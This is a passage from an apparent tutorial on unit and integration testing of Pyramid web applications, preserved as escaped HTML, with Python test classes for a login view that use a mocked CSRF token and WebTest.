Tests\u003c/h1\u003e\n\u003cp\u003eNow there are a few different types of tests you will want to run.\nFirst, you will want to do unit tests, which are small tests that only\ntest 1 thing at a time. This means you will skip the routes, templates,\netc. So let's setup our Unit Test Base class:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eUnitTestBase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eBaseTestCase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e testing.setUp(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequest\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etesting.DummyRequest())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esuper\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(UnitTestBase, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e).setUp()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eget_csrf_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self, post\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eNone\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        csrf \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'abc'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e post.keys():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            post.update({\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        request \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e testing.DummyRequest(post)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        request.session \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Mock()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        csrf_token \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Mock()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        csrf_token.return_value \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        request.session.get_csrf_token \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e csrf_token\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e request\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe built in a utility function to help us test requests that require a\ncsrf token as well. Here is how we would use this class:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eTestViews\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eUnitTestBase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_login_fails_empty\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\" Make sure we can't login with empty credentials\"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e app.accounts.views \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e LoginView\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'index'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'dashboard'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        request \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e testing.DummyRequest(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003epost\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'submit'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        view \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e LoginView(request)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        response \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e view.post()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        errors \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e response[\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'errors'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Username'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Password'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003etest_login_succeeds\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\" Make sure we can login \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        admin \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e User(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eusername\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003epassword\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'admin'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        admin.activated \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session.add(admin)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.session.flush()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e app.accounts.views \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e LoginView\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'index'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'dashboard'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/dashboard'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        request \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.get_csrf_request(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003epost\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'submit'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Username'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Password'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        view \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e LoginView(request)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        response \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e view.post()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eassert\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e response.status_int \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e302\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eIntegration Tests\u003c/h1\u003e\n\u003cp\u003eThe second type of test you will want to write is an integration test.\nThis will integrate with the whole web framework and actually hit the\ndefine routes, render the templates, and actually test the full stack of\nyour application.\u003c/p\u003e\n\u003cp\u003eLuckily this is pretty easy to do with Pyramid using WebTest:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eIntegrationTestBase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eBaseTestCase\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003e@\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eclassmethod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetUpClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(cls):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ecls\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e main({}, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003esettings)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esuper\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(IntegrationTestBase, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003ecls\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e).setUpClass()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003esetUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e TestApp(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.app)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.config \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e testing.setUp()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esuper\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(IntegrationTestBase, \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e).setUp()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIn setUpClass, we run the main function of the applications\n__init__.py that sets up the WSGI application and then we wrap it in\na TestApp that gives us the ability to call get/post on it.\u003c/p\u003e\n\u003cp\u003eHere is an example of it in use:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 